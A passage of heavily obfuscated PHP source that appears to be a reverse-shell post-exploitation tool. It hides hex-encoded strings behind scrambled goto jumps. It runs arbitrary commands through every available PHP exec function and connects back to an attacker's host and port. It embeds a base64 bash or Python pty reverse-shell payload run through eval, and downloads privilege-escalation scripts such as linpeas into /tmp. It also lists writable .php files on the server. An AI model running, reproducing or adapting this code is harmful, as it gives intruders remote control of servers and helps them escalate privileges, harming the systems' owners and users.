(WKZam("\146\162\145\x61\x64") && WKzam("\146\x6f\x70\145\156") && ini_get("\x61\x6c\x6c\157\x77\137\165\162\x6c\x5f\146\x6f\x70\145\156")) { goto lZiwq; } goto TCSRq; NkQ1c: $en6J9 = false; goto YJLsq; x6iDz: mAHH8($L8lp2, InJwx, $FGeFq); goto s2TkE; FwWf7: goto XZJQT; goto y0osr; kqnSo: goto XZJQT; goto g05FU; z2EVi: if ($xRE8L = rROj3("\x77\x67\145\x74\x20\55\161\117\x2d\x20" . $FGeFq)) { goto xaOIg; } goto x7kEV; O3U1b: $en6J9 = $xRE8L; goto sf_Ip; tFvQG: $en6J9 = $uevcA; goto zEbl4; n48qR: $en6J9 = ZlSad($L8lp2); goto Su7FO; Zafz5: } goto gUF59; xJh_6: SL9cF: goto qts3A; p33RN: $GxCAX = false; goto c1Msa; Hq9IW: function F3ve0($GXImm) { global $vIiwX; return $vIiwX ? "\x1b\x5b\x39\62\155" . $GXImm . "\x1b\x5b\60\155" : $GXImm; } goto s0m14; FjG6i: function jxHB5() { goto coeI6; A5YIq: cQO4D: goto QY3iY; fKRVT: if (chmod("\57\164\155\x70\x2f" . $OnHZD, 777)) { goto emKoT; } goto i13Rg; QY3iY: return; goto DN6QV; i13Rg: fwrite($uhabo, YUaT6("\133\x21\x5d") . "\x20\x43\157\165\154\144\x6e\x27\164\x20\143\x68\141\x6e\x67\145\40\x70\x65\162\155\x69\163\x73\x69\x6f\156\x73\56\56\x2e\x20\12\133\x69\135\40\x46\x69\x6c\x65\40\167\x61\163\40\x73\141\x76\x65\x64\x20\x69\x6e\40" . yUaT6("\57\x74\x6d\160\57" . $OnHZD . "\xa")); goto J5J7c; s9L6K: i50wK: goto A5YIq; ZrKs0: if (!$OnHZD) { goto cQO4D; } goto qraSW; coeI6: global $uhabo, $xMbBb; goto ihWDD; vHuvT: fwrite($uhabo, f3ve0("\x5b\53\135") . "\40\120\x65\x72\x6d\151\163\163\151\157\156\x73\x20\x63\150\141\156\147\145\x64\x21\40\xa\x5b\x69\x5d\40\x59\157\x75\40\x63\x61\x6e\40\x72\x75\x6e\40\151\164\x20\x77\x69\164\150\40" . YUAt6("\x73\150\x20\x2f\x74\x6d\160\57" . $OnHZD . "\x20\174\x20\x74\x65\x65\40\57\164\x6d\x70\x2f\x4c\x45\123\56\154\x6f\147\xa")); goto s9L6K; Sdys9: emKoT: goto vHuvT; ihWDD: $OnHZD = e3Ik9($xMbBb["\163\x75\147\x67\x65\x73\164\x65\x72"], "\57\164\155\x70\x2f"); goto ZrKs0; J5J7c: goto i50wK; goto Sdys9; qraSW: fwrite($uhabo, f3ve0("\133\x2b\135") . "\x20\114\x69\156\165\170\40\105\x78\x70\x6c\x6f\151\164\40\x53\x75\147\147\x65\x73\x74\x65\162\40\x73\x61\x76\145\144\x20\x74\157\x20\57\x74\x6d\160\x2f" . $OnHZD . N9Ilw("\xa\133\151\x5d") . "\x20\x43\150\141\x6e\147\x69\x6e\x67\40\160\x65\162\155\x69\x73\x73\151\157\156\163\56\x2e\x2e\12"); goto fKRVT; DN6QV: } goto QnfQm; YrBUH: Bl_zz: goto RWyv3; THObD: $vIiwX = true; goto p33RN; Z20wU: $xMbBb = array("\154\151\156\160\145\x61\163" => "\x68\164\x74\x70\x73\72\x2f\57\162\141\x77\56\147\151\x74\x68\165\x62\165\x73\145\162\143\157\x6e\164\145\156\164\x2e\143\157\155\x2f\x63\x61\x72\x6c\x6f\163\160\x6f\x6c\x6f\x70\x2f\x70\x72\x69\x76\x69\154\145\147\x65\55\145\x73\x63\141\154\x61\164\x69\x6f\156\55\x61\167\145\x73\157\x6d\145\x2d\163\143\162\151\x70\x74\163\x2d\x73\165\x69\164\145\x2f\x6d\x61\163\x74\145\162\x2f\x6c\151\x6e\x50\105\x41\x53\x2f\154\151\x6e\160\145\x61\163\56\x73\150", "\x6c\x69\156\145\x6e\165\155" => "\150\x74\x74\x70\163\72\x2f\x2f\162\x61\167\56\x67\x69\x74\x68\165\142\x75\x73\145\162\x63\x6f\x6e\164\x65\156\164\56\143\x6f\155\x2f\x72\145\142\157\x6f\x74\x75\x73\145\162\57\114\x69\156\x45\x6e\x75\155\x2f\155\141\163\164\x65\162\57\114\151\156\x45\156\165\155\56\x73\150", "\x73\165\147\147\x65\x73\x74\x65\x72" => "\150\x74\x74\160\163\x3a\x2f\57\x72\x61\167\56\147\151\x74\x68\x75\142\165\163\x65\x72\143\157\x6e\164\x65\156\164\56\143\157\155\x2f\155\x7a\x65\x74\55\57\x6c\x69\x6e\165\x78\x2d\145\x78\x70\x6c\x6f\151\164\x2d\163\x75\x67\x67\145\163\164\145\162\57\x6d\x61\163\164\145\162\x2f\x6c\x69\x6e\x75\x78\x2d\145\x78\x70\154\x6f\x69\x74\x2d\x73\165\147\147\x65\163\x74\145\162\x2e\163\150", "\166\145\162\151\146\171\125\x70\144\141\164\x65\125\122\114" => "\x68\164\164\160\x73\x3a\x2f\57\162\x61\x77\x2e\147\x69\164\x68\x75\x62\165\x73\x65\162\x63\157\x6e\164\x65\156\164\56\143\157\155\57\x4e\151\x63\x6b\x67\165\x69\164\141\162\x2f\x59\101\120\x53\x2f\x6d\x61\151\x6e\57\166\145\x72\x73\x69\157\x6e", "\x75\x70\x64\141\164\145\x55\x52\114" => "\150\164\x74\x70\x73\x3a\x2f\57\x72\141\167\x2e\147\151\x74\x68\x75\142\x75\x73\x65\162\143\x6f\156\x74\145\156\164\x2e\x63\x6f\155\57\116\x69\x63\x6b\x67\x75\x69\164\141\162\x2f\x59\101\x50\x53\57\155\141\x69\156\57\x79\x61\160\x73\x2e\160\x68\160"); goto S45x_; uVx85: if (!(isset($_POST["\170"]) && strpos($_POST["\170"], "\x3a") !== false)) { goto GclbV; } goto q6PSH; JP9gn: $cQPaX = $argv[$argc - 2]; goto F6h27; LXiL6: function N9iLW($GXImm) { global $vIiwX; return $vIiwX ? "\33\x5b\71\66\155" . $GXImm . "\x1b\x5b\x30\x6d" : $GXImm; } goto cj8Qs; rhWvb: dAFYi: goto LpxCm; PCPQY: set_time_limit(0); goto zjsja; VZ2O2: ag_lZ: goto l6S9P; gxdx5: $u1E3o = true; goto THObD; c1Msa: $GAr_9 = "\166\x5f\x33\137\162\137\x59\x5f\x5f\x5f\107\137\157\x5f\x30\137\x64\x5f\x5f\x5f\163\x5f\x34\x5f\x4c\x5f\164"; goto gLJIQ; guQzh: function tWWE0($olpJM) { goto kmpXH; VnDhc: sort($jwqgp); goto vZnWf; HNcBk: Van_n: goto VnDhc; pMQ1e: $jwqgp = array(); goto csgSE; vZnWf: return $jwqgp; goto RV2K0; kmpXH: $qGtVW = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($olpJM)); goto pMQ1e; csgSE: foreach ($qGtVW as $WAWAi) { goto IpG9M; Z1EPc: if (!($WAWAi->getPathName() !== $_SERVER["\x53\x43\122\111\120\x54\137\106\x49\114\x45\116\101\115\105"])) { goto vgz9C; } goto YJlmB; bRe58: cTMUN: goto POI7L; YJlmB: if (!(substr($WAWAi->getPathName(), -4) == "\56\160\150\x70")) { goto Wr85A; } goto adSkr; qgRLe: Wr85A: goto oXt6m; IpG9M: if (!(!is_dir($WAWAi) && is_writable($WAWAi))) { goto cTMUN; } goto Z1EPc; adSkr: array_push($jwqgp, $WAWAi->getPathName()); goto qgRLe; oXt6m: vgz9C: goto bRe58; POI7L: MFOtn: goto FuqO_; FuqO_: } goto HNcBk; RV2K0: } goto zRW7w; e3vL1: $RKYHn = $_POST["\x78"]; goto iREwo; ut07K: function jbeiQ() { global $XHy50; return $XHy50 . OiPir("\xa\40\40\40\124\150\x69\x73\x20\151\x73\40") . AwT6Z("\x4e\117\124") . OIpir("\40\x61\x6e\x20\x69\156\164\145\x72\141\x63\x74\x69\166\145\40\x73\150\x65\x6c\154\56\12\40\40\40\40\40\40\x20\125\x73\x65\40") . f3Ve0("\41\150\x65\x6c\160") . oIpIR("\40\164\x6f\40\163\x65\x65\40\143\157\155\155\x61\x6e\x64\163\56"); } goto ZWvp6; QGPoz: $xebfD = "\61\56\63\x2e\x31"; goto PCPQY; lIWFc: h2S1z(); goto lrvX1; iZriP: function Q3dl6($Gl4gZ) { goto ceh6n; ceh6n: global $GAr_9, $M2vrL, $uhabo; goto uSRNY; Q6kor: return true; goto yYVje; LdWR7: u2P3R: goto YjmBr; uSRNY: $pTmHu = hash("\x73\x68\141\x35\x31\x32", $GAr_9 . hash("\163\150\141\65\61\62", $Gl4gZ, false), false); goto TdZmD; YjmBr: $x4fyd = file_get_contents($M2vrL); goto jFjdH; tHUyh: return false; goto LdWR7; Di0Je: goto TT9ui; goto kBLrR; pMDyL: if (file_put_contents($M2vrL, $CufM3)) { goto b0pQU; } goto ci2P9; jFjdH: $CufM3 = preg_replace("\57\x5b\x61\55\146\x30\x2d\71\135\x7b\x31\62\70\x7d\x2f", $pTmHu, $x4fyd, 1); goto pMDyL; kBLrR: b0pQU: goto CXIp6; CXIp6: fwrite($uhabo, f3Ve0("\133\x2b\135\x20") . "\x50\x61\x73\x73\167\x6f\x72\144\x20\x63\150\x61\x6e\147\x65\144\56\40\x43\150\141\x6e\x67\145\163\40\x77\x69\154\x6c\40\x74\141\153\x65\40\145\x66\146\x65\143\x74\x20\x6f\x6e\x20\x6e\x65\170\x74\40\143\157\x6e\156\145\x63\164\x69\x6f\156\x2e\xa"); goto Q6kor; XZPPM: return false; goto Di0Je; ci2P9: fwrite($uhabo, Awt6z("\133\x2d\x5d\x20") . "\103\157\165\154\x64\x6e\47\x74\40\x72\145\141\x64\40\x6f\162\40\x77\x72\151\164\145\x20\164\150\x65\x20\x66\x69\154\145\56\40\x41\162\145\x20\164\x68\x65\40\160\x65\162\x6d\x69\163\163\151\157\x6e\163\x20\x72\151\147\x68\x74\x3f\xa" . RroJ3("\154\x73\40\55\x6c\x20" . $M2vrL . "\xa")); goto XZPPM; yYVje: TT9ui: goto ObXHP; TdZmD: if (!(!is_readable($M2vrL) || !is_writable($M2vrL))) { goto u2P3R; } goto tHUyh; ObXHP: } goto lX7Z9; RPoRC: Ltc3h(); goto ZrUAL; xdRGX: function ltc3H() { goto O779I; gELx3: if (in_array(strtolower(substr($B5Fzl, 1, -1)), $H2VFm)) { goto HuDtY; } goto ncCyE; D317y: goto P6chZ; goto Bn8Ox; FfqFZ: if (substr($B5Fzl, 0, 1) == "\x21") { goto mEerq; } goto TV6kQ; hU96G: gZWte(1); goto wo7dc; SzD8o: ZkF40: goto JOZpe; TV6kQ: if (substr($B5Fzl, 0, 3) == "\143\x64\x20") { goto ZkF40; } goto Ej3WB; sLSY_: if (!($elN6C === false)) { goto B4aae; } goto XsxLZ; cshzT: fwrite($uhabo, jBEiQ() . "\xa"); goto kriEF; ndxqI: if (!($B5Fzl = fread($uhabo, 2048))) { goto P6chZ; } goto s1mdS; ElkdR: goto pjkpr; goto gGACm; HZUpe: fwrite($uhabo, "\xa" . $cUxHT); goto GdPXv; XsxLZ: fwrite($uhabo, AWt6z("\133\55\135\40\124\x68\145\162\x65\x20\x61\162\145\40\156\157\x20\145\170\x65\143\x20\x66\x75\156\143\x74\x69\157\x6e\x73")); goto D317y; g8MHn: die; goto msxfa; uOeGX: goto OKFTf; goto vcAQ7; XOodP: GzwTE(); goto HZUpe; jdce1: A2Y77: goto fbSmR; tjx17: toAS3: goto gZWZP; Bn8Ox: B4aae: goto PRUJs; eRC5g: P6chZ: goto K2CC6; K2CC6: fclose($uhabo); goto D2slY; wo7dc: if (WkzaM("\x66\163\157\143\153\x6f\160\x65\156")) { goto toAS3; } goto sUstI; ncCyE: HuqHF(substr($B5Fzl, 1, -1)); goto uOeGX; S3hHw: goto uy79L; goto eRC5g; vcAQ7: HuDtY: goto Xmpuz; MmssG: die(fwrite($uhabo, aWt6Z("\133\55\x5d") . "\x20\x57\162\157\x6e\x67\40\160\141\x73\x73\x77\157\x72\144\x2e\xa")); goto jgr10; PRUJs: gzWTE(); goto weS80; YGP0M: if (!(!isset($_REQUEST["\163\x69\154\145\x6e\x74"]) && !isset($_REQUEST["\163"]) && !$xD1XF)) { goto TY2GJ; } goto cshzT; gGACm: mEerq: goto gELx3; msxfa: pjkpr: goto sLSY_; jgr10: UonRI: goto WkW9u; VX80Z: fclose($uhabo); goto g8MHn; IqosZ: goto pjkpr; goto jdce1; kriEF: TY2GJ: goto XOodP; JOZpe: chdir(substr($B5Fzl, 3, -1)); goto IqosZ; Xmpuz: $elN6C = UNK5v($B5Fzl); goto Vkb5a; GdPXv: uy79L: goto ndxqI; JPdOg: $elN6C = rROJ3(substr($B5Fzl, 0, -1)); goto ElkdR; Vkb5a: OKFTf: goto xqIms; gZWZP: if (!$GxCAX) { goto c1shJ; } goto ZELXZ; Ej3WB: if (substr($B5Fzl, 0, -1) == "\145\170\151\x74") { goto A2Y77; } goto JPdOg; fbSmR: fwrite($uhabo, YUaT6("\133\151\135\40") . "\103\x6c\x6f\163\151\156\x67\40\x63\x6f\x6e\x6e\145\143\164\151\x6f\x6e\x2e\xa"); goto VX80Z; xqIms: goto pjkpr; goto SzD8o; O779I: global $GxCAX, $H2VFm, $cUxHT, $uhabo, $xD1XF; goto hU96G; s1mdS: $elN6C = ''; goto FfqFZ; ZELXZ: if (osfeM()) { goto UonRI; } goto MmssG; WkW9u: c1shJ: goto YGP0M; sUstI: die(AWT6z("\x5b\x2d\x5d") . "\40\106\x75\156\143\x74\x69\x6f\x6e\x20\x27\146\x73\157\x63\x6b\157\x70\x65\x6e\47\x20\x69\163\x6e\47\164\x20\141\x76\141\151\x6c\141\142\x6c\x65\x2e"); goto tjx17; weS80: fwrite($uhabo, $elN6C . $cUxHT); goto S3hHw; D2slY: } goto t6i1K; F6h27: zWlXh: goto VZ2O2; k4_PD: $rgl2_ = "\165\72\x3a\150\72\72\x73\x3a\72"; goto TbUbd; WHA4F: if ($uhabo) { goto rMZiE; } goto vFVV1; UAOKw: GclbV: goto LaeAp; pr3GV: function RROJ3($B5Fzl) { goto sCgbg; pe6QH: $GePei = shell_exec($B5Fzl); goto XV91J; A7xHP: ob_end_clean(); goto BI19k; cU03V: NC2Z2: goto vm1Hy; NPtw3: goto sAkSc; goto Tehvs; TDlDA: $GePei = NULL; goto iUCXL; il4YP: goto rR20X; goto LfRLE; VC9uI: if (wKzam("\x65\x78\x65\143")) { goto lXgyZ; } goto J9J0s; U8gdU: $u5V1q = proc_open($B5Fzl, array(array("\x70\x69\x70\145", "\162"), array("\x70\151\x70\x65", "\x77"), array("\160\x69\160\x65", "\x77")), $jl75r); goto GYZCG; ekzKh: if (wkzAm("\160\162\x6f\143\x5f\157\160\x65\156")) { goto C72cb; } goto wNMUT; kB1ag: goto NC2Z2; goto b7XDL; i2ucC: $GePei = join(chr(10), $GePei) . chr(10); goto hNG8O; tcDNh: system($B5Fzl); goto OpwgY; yYtoB: dhALK: goto tElic; kHRBC: exec($B5Fzl, $GePei); goto i2ucC; iUCXL: if (!is_resource($dJ6pT)) { goto av88k; } goto cU03V; GYZCG: $GePei = NULL; goto sZQt7; dvN9_: @pclose($dJ6pT); goto EteEZ; xDgEw: C72cb: goto U8gdU; LLLA3: @proc_close($u5V1q); goto gbZdc; b7XDL: Bcyi4: goto n4obn; EteEZ: DomQ7: goto E12jb; KYNlE: ob_start(); goto tcDNh; qFT9M: TaByh: goto ak4S1; hNG8O: rR20X: goto NZs0w; nbSAT: if (feof($jl75r[1])) { goto tAWFb; } goto DCqm4; Hq6iv: $GePei .= fread($dJ6pT, 1024); goto kB1ag; NZs0w: return $GePei; goto HhzS7; n4obn: av88k: goto dvN9_; XV91J: dO2JO: goto il4YP; WLI97: $dJ6pT = popen($B5Fzl, "\162"); goto TDlDA; sCgbg: $B5Fzl = $B5Fzl . "\x20\62\x3e\46\61\xa"; goto VC9uI; JPj6n: goto P0GhY; goto xDgEw; OpwgY: $GePei = ob_get_contents(); goto A7xHP; RKqgY: ob_end_clean(); goto yYtoB; n1y80: if (WKZAm("\160\157\x70\145\156")) { goto QJORJ; } goto Pk0aA; fvW1Y: $GePei = ob_get_contents(); goto RKqgY; oQNgA: goto Ih8k5; goto RUIoU; sZQt7: Ih8k5: goto nbSAT; wmLB3: passthru($B5Fzl); goto fvW1Y; EUM_w: $GePei = 0; goto NPtw3; E12jb: goto dO2JO; goto uN0ks; gbZdc: P0GhY: goto PrH91; uN0ks: qhwDM: goto pe6QH; DCqm4: $GePei .= fread($jl75r[1], 1024); goto oQNgA; Pk0aA: if (WkZam("\x70\141\163\163\x74\x68\162\165")) { goto TaByh; } goto ekzKh; wNMUT: if (wKZam("\163\x79\163\164\x65\x6d")) { goto insDB; } goto EUM_w; MaB2d: QJORJ: goto WLI97; PrH91: goto dhALK; goto qFT9M; BI19k: sAkSc: goto JPj6n; vm1Hy: if (feof($dJ6pT)) { goto Bcyi4; } goto Hq6iv; ak4S1: ob_start(); goto wmLB3; CWqRE: $GePei = array(); goto kHRBC; Tehvs: insDB: goto KYNlE; tElic: goto DomQ7; goto MaB2d; RUIoU: tAWFb: goto LLLA3; LfRLE: lXgyZ: goto CWqRE; J9J0s: if (wkzaM("\x73\x68\145\x6c\x6c\137\x65\170\145\143")) { goto qhwDM; } goto n1y80; HhzS7: } goto RF2SJ; geBy7: function KqycU($G8_xz = '') { goto o5TrN; eiItL: $kiHut = (int) $B5Fzl; goto NkkxR; Ua9Aj: return; goto G3Vjb; NH0_w: return; goto bqRr2; T4Ghn: return; goto bqiAE; aLpTM: zUwrF: goto oOc9r; r2Ax_: dNQ27: goto OKNdZ; bqiAE: UYCWV: goto CRX8J; hMT3W: shell_exec("\145\143\x68\x6f\x20" . $f0FyI . "\x7c\x20\x62\141\163\x65\66\64\x20\55\144\40\174\40\x70\150\160\x20\x2d\x72\40\47\x24\163\x74\144\151\156\x3d\x66\x69\x6c\145\50\42\160\x68\160\72\x2f\x2f\x73\164\x64\x69\156\42\51\73\x65\x76\141\154\x28\x24\x73\x74\144\151\156\x5b\x30\x5d\51\73\x27"); goto Ua9Aj; G3Vjb: z9IrO: goto Adm71; NkkxR: if ($kiHut > 65535 || $kiHut == 0) { goto zUwrF; } goto BX39_; R7UWI: $zm0Nr = $sC5i_[0]; goto e9qM2; wyxaE: if (!(strlen($B5Fzl) > 0)) { goto dNQ27; } goto eiItL; CRX8J: $j6vks = $_SERVER["\x52\105\x51\125\105\x53\x54\137\123\103\110\x45\x4d\x45"] . "\x3a\x2f\57" . $_SERVER["\110\124\124\x50\x5f\110\x4f\x53\124"] . $_SERVER["\122\x45\x51\125\105\x53\x54\x5f\x55\122\x49"]; goto WahCT; zOoqK: u3KgK: goto OnBfH; M1vHT: uo4Qf: goto kviku; bqRr2: goto gykiL; goto aLpTM; k0K4s: gykiL: goto r2Ax_; e9qM2: $V45D_ = $sC5i_[1]; goto OT6x5; kviku: if (!($B5Fzl = fread($uhabo, 8))) { goto u3KgK; } goto wyxaE; nefo1: pclose(popen("\145\x63\150\x6f\x20" . $f0FyI . "\174\x20\142\x61\x73\145\x36\64\x20\55\144\x20\x7c\40\x70\150\160\40\x2d\162\x20\x27\x24\x73\164\144\151\156\75\146\151\154\145\x28\42\160\x68\160\x3a\57\x2f\163\164\144\x69\156\x22\x29\x3b\145\x76\141\x6c\x28\44\x73\x74\144\151\x6e\133\x30\135\x29\x3b\47\x20\46", "\162")); goto T4Ghn; VHVry: $bdStf = "\112\x48\116\152\x63\x6d\x6c\x77\x64\x44\x31\x7a\141\107\x56\163\x62\x46\x39\154\x65\107\126\x6a\x4b\103\112\63\141\x47\x6c\152\x61\103\x42\172\x59\63\x4a\x70\143\110\x51\151\113\124\163\x6b\x63\110\153\x7a\x50\x58\x4e\157\132\127\170\x73\130\62\126\64\132\127\x4d\157\x49\x6e\x64\x6f\x61\127\x4e\157\x49\110\102\65\x64\x47\x68\166\x62\x6a\115\151\x4b\x54\163\x6b\x63\x48\x6b\71\x63\x32\150\x6c\x62\x47\x78\146\132\130\150\154\x59\171\x67\x69\x64\62\150\x70\x59\x32\x67\147\143\x48\154\60\x61\107\x39\x75\x49\151\x6b\x37\141\x57\x59\157\143\x33\122\171\142\107\x56\165\113\x43\122\x7a\x59\63\x4a\160\x63\x48\121\160\x50\152\131\x67\112\x69\x59\147\143\x33\x52\x79\x63\107\x39\172\x4b\x43\122\172\131\63\112\x70\x63\x48\x51\163\111\x6d\65\x76\x64\103\x42\155\x62\63\126\x75\132\103\111\x70\120\124\x31\155\131\127\170\172\x5a\x53\153\x67\x4a\x48\x4e\x30\x59\127\x4a\x70\x62\x47\154\x36\132\130\111\x39\x49\151\71\x69\x61\127\x34\166\131\155\x46\172\x61\103\x41\164\x59\x32\x6b\x67\112\171\x49\165\x4a\x48\116\152\x63\155\154\167\144\103\x34\x69\111\x43\61\170\131\x79\x41\166\131\x6d\x6c\x75\x4c\62\112\x68\143\x32\147\x67\x4c\62\122\x6c\x64\151\x39\165\x64\x57\x78\x73\112\171\111\67\x5a\127\x78\x7a\132\x53\102\x70\x5a\x69\x68\172\144\110\x4a\163\x5a\x57\x34\x6f\x4a\110\102\x35\x4d\171\153\x2b\116\x79\101\x6d\x4a\x69\x42\x7a\144\110\112\167\x62\x33\x4d\157\x4a\110\x4e\152\143\155\x6c\167\144\103\x77\x69\142\x6d\71\x30\111\107\x5a\x76\x64\x57\x35\153\111\151\x6b\71\x50\x57\132\x68\x62\x48\x4e\x6c\x4b\123\x41\x6b\x63\63\x52\x68\x59\155\x6c\163\141\130\160\154\x63\x6a\x30\153\x63\110\153\172\x4c\151\111\x67\x4c\x57\x4d\x67\x4a\62\154\164\x63\107\71\171\144\103\102\167\144\110\x6b\67\143\110\x52\65\x4c\x6e\x4e\x77\131\x58\x64\165\113\x46\167\x69\114\62\x4a\160\x62\151\x39\x69\131\130\x4e\x6f\130\x43\111\160\x4a\x79\x49\67\132\127\x78\172\132\x53\102\x70\x5a\151\150\x7a\144\x48\x4a\x73\x5a\x57\64\x6f\112\110\102\x35\113\124\x34\62\x49\103\131\155\111\110\116\60\x63\156\102\x76\143\x79\x67\x6b\x63\62\116\x79\141\130\102\x30\x4c\x43\x4a\x75\142\63\121\147\x5a\x6d\x39\61\x62\x6d\x51\x69\113\x54\x30\71\132\x6d\106\x73\143\62\x55\160\111\x43\x52\172\144\x47\x46\151\x61\x57\x78\x70\x65\x6d\126\x79\120\123\122\x77\x65\123\x34\x69\111\103\x31\x6a\111\x43\144\160\x62\130\102\x76\x63\156\121\147\x63\110\122\65\117\x33\102\x30\x65\x53\x35\172\x63\x47\106\x33\142\151\150\x63\111\x69\71\151\x61\127\64\166\131\x6d\x46\172\x61\106\167\x69\x4b\123\x63\x69\x4f\x32\126\x73\x63\62\x55\147\x4a\x48\116\x30\x59\x57\112\x70\x62\x47\154\66\132\130\111\x39\x49\x69\x39\151\141\127\x34\166\x59\155\106\172\141\x43\x49\x37\x4a\110\116\60\131\127\112\x70\142\x47\154\x36\132\x58\x49\71\143\x33\x52\x79\x58\63\x4a\154\143\107\x78\x68\131\62\x55\157\111\x6c\x78\x75\111\x69\x77\x69\x49\151\x77\x6b\143\63\122\150\x59\155\x6c\x73\x61\130\160\154\x63\x69\x6b\x37\x4a\x48\116\157\x5a\127\170\163\120\123\x4a\61\142\155\x46\164\132\x53\101\x74\131\124\163\153\x63\63\x52\150\131\x6d\154\x73\141\130\160\x6c\143\151\x49\x37\x64\x57\x31\150\143\62\163\157\x4d\x43\153\67\x4a\110\116\166\x59\62\163\71\132\x6e\x4e\166\x59\62\x74\166\143\107\126\x75\113\103\112\x4a\x55\106\x39\102\122\105\x52\x53\x49\151\x78\x51\124\61\112\125\x4c\103\x52\154\x63\156\112\165\x62\x79\x77\x6b\132\x58\112\x79\x63\63\122\x79\114\x44\x4d\167\x4b\124\163\x6b\143\63\122\x6b\120\x57\106\171\x63\155\x46\x35\x4b\103\101\x77\111\104\x30\x2b\111\107\106\x79\143\155\x46\65\113\103\x4a\167\x61\x58\102\154\111\151\x77\x69\143\151\x49\x70\x4c\x44\x45\x67\x50\124\64\147\131\130\x4a\171\131\130\x6b\157\x49\x6e\102\160\143\107\x55\151\x4c\103\x4a\63\x49\151\153\163\x4d\151\101\x39\x50\x69\x42\150\x63\156\x4a\x68\145\123\147\x69\143\107\x6c\167\132\123\x49\163\111\x6e\143\151\113\x53\101\160\117\171\x52\167\143\x6d\x39\x6a\132\x58\x4e\x7a\x50\x58\102\x79\x62\x32\116\146\x62\x33\102\154\142\x69\x67\x6b\x63\62\150\154\142\107\x77\163\112\110\x4e\60\x5a\103\167\x6b\143\x47\154\x77\132\x58\x4d\160\117\x32\132\x76\143\155\x56\x68\131\x32\x67\157\x4a\x48\x42\160\143\107\126\x7a\111\x47\106\172\111\x43\x52\x77\113\x53\x42\172\x64\110\x4a\154\x59\127\x31\x66\143\x32\x56\x30\x58\x32\x4a\x73\x62\x32\116\162\x61\127\65\x6e\x4b\103\x52\167\x4c\104\101\160\117\63\x4e\60\143\155\126\x68\x62\x56\71\x7a\132\130\x52\146\x59\x6d\170\x76\131\62\164\160\142\155\x63\157\112\x48\116\166\131\62\163\163\115\x43\153\67\x64\62\150\x70\x62\107\x55\157\111\127\132\x6c\x62\62\131\x6f\112\110\x4e\x76\x59\62\x73\160\x4b\x58\163\153\143\x6d\x56\150\132\106\x39\150\120\x57\106\171\143\x6d\x46\65\x4b\x43\x52\172\x62\x32\x4e\x72\x4c\x43\122\167\x61\x58\x42\154\x63\61\x73\170\130\x53\167\153\x63\107\x6c\167\x5a\130\x4e\142\x4d\x6c\60\160\117\x32\154\155\x4b\107\x6c\x75\x58\62\106\x79\x63\x6d\x46\x35\x4b\103\122\172\142\62\x4e\162\114\x43\x52\x79\132\127\106\153\x58\x32\105\160\113\123\x42\155\x64\63\112\160\144\x47\x55\x6f\112\110\102\160\143\x47\126\172\127\x7a\x42\x64\x4c\107\132\171\132\x57\x46\153\113\103\x52\172\x62\x32\116\162\114\104\111\167\x4e\104\147\x70\x4b\124\x74\160\x5a\x69\150\x70\142\154\71\x68\x63\x6e\112\150\x65\x53\147\x6b\x63\107\154\x77\132\130\116\142\115\126\60\x73\x4a\x48\112\x6c\131\127\x52\x66\x59\x53\153\160\x49\107\132\x33\143\155\154\60\132\x53\147\153\x63\62\x39\x6a\x61\x79\170\155\143\155\x56\x68\132\103\147\153\x63\x47\154\x77\x5a\130\116\142\x4d\x56\60\x73\x4d\x6a\101\x30\x4f\103\x6b\x70\x4f\x32\154\x6d\x4b\107\x6c\165\x58\x32\106\171\x63\155\106\x35\x4b\x43\x52\167\141\130\102\x6c\x63\x31\x73\171\130\x53\167\x6b\143\155\126\150\132\x46\71\x68\113\123\x6b\x67\132\156\144\171\x61\130\x52\x6c\x4b\103\x52\172\142\62\116\162\x4c\x47\132\x79\x5a\x57\106\x6b\x4b\x43\122\x77\141\130\x42\x6c\143\x31\x73\171\130\123\x77\x79\x4d\104\x51\64\113\x53\153\67\x66\x53\x42\155\131\62\x78\x76\x63\62\125\x6f\112\x48\x4e\166\x59\x32\x73\160\117\62\x5a\x76\x63\x6d\x56\150\131\x32\147\x6f\x4a\110\x42\x70\143\107\126\172\x49\x47\x46\172\111\103\122\x77\x4b\x53\102\155\131\62\x78\166\x63\62\x55\x6f\x4a\x48\x41\160\x4f\x33\x42\171\x62\62\x4e\146\131\62\170\166\143\62\x55\x6f\x4a\110\x42\x79\142\x32\x4e\154\x63\x33\115\160\x4f\x77\75\x3d"; goto iBjEt; WahCT: rroj3("\x74\x69\x6d\145\157\x75\x74\40\x2d\x2d\153\151\154\154\55\x61\x66\164\145\x72\x20\60\40\61\40\x77\147\x65\164\40\55\55\160\157\x73\164\x2d\x64\x61\x74\x61\75\x22\170\x3d{$cQPaX}\72{$kiHut}\46\163\164\x61\x62\151\x6c\151\172\x65\75\x31\42\40{$j6vks}\40\76\40\57\x64\x65\166\x2f\156\x75\154\154"); goto NH0_w; EOGwp: if (!(WkZam("\160\157\x70\x65\x6e") && wKzam("\x70\143\x6c\x6f\x73\x65"))) { goto UYCWV; } goto nefo1; iBjEt: if (!(strlen($G8_xz) > 1 && strlen($G8_xz) > 0)) { goto z9IrO; } goto XTEJP; o5TrN: global $uhabo, $rpc4Z, $cQPaX; goto VHVry; XTEJP: echo $G8_xz; goto a99VH; BX39_: $f0FyI = base64_encode(str_replace("\111\x50\x5f\101\104\x44\x52", $cQPaX, str_replace("\x50\117\x52\124", $kiHut, base64_decode($bdStf)))); goto xCmNS; OT6x5: $f0FyI = base64_encode(str_replace("\111\120\x5f\x41\104\104\x52", $zm0Nr, str_replace("\120\117\122\x54", $V45D_, base64_decode($bdStf)))); goto hMT3W; Adm71: fwrite($uhabo, yuAt6("\133\x69\135") . "\x20\x53\145\x74\x20\165\x70\40\x61\40\x6c\151\x73\x74\x65\x6e\x65\162\40\x6f\156\40\141\x6e\157\164\150\x65\162\40\160\x6f\x72\164\40\50\156\143\x20\x2d\154\156\166\x70\40\x3c\160\157\x72\164\76\x29\40\141\x6e\x64\x20\x70\162\145\163\x73\x20\x45\116\124\x45\122\x2e\xa\x43\x68\x6f\x6f\x73\x65\x20\141\x20\160\x6f\162\x74\x3a\x20"); goto M1vHT; OKNdZ: goto uo4Qf; goto zOoqK; xCmNS: fwrite($uhabo, yuAT6("\133\151\135") . "\40\124\162\x79\151\156\x67\40\x74\x6f\x20\x63\157\156\x6e\145\143\164\x20\164\x6f\x20{$cQPaX}\x3a{$kiHut}\12"); goto EOGwp; oOc9r: fwrite($uhabo, aWT6z("\x5b\55\135") . 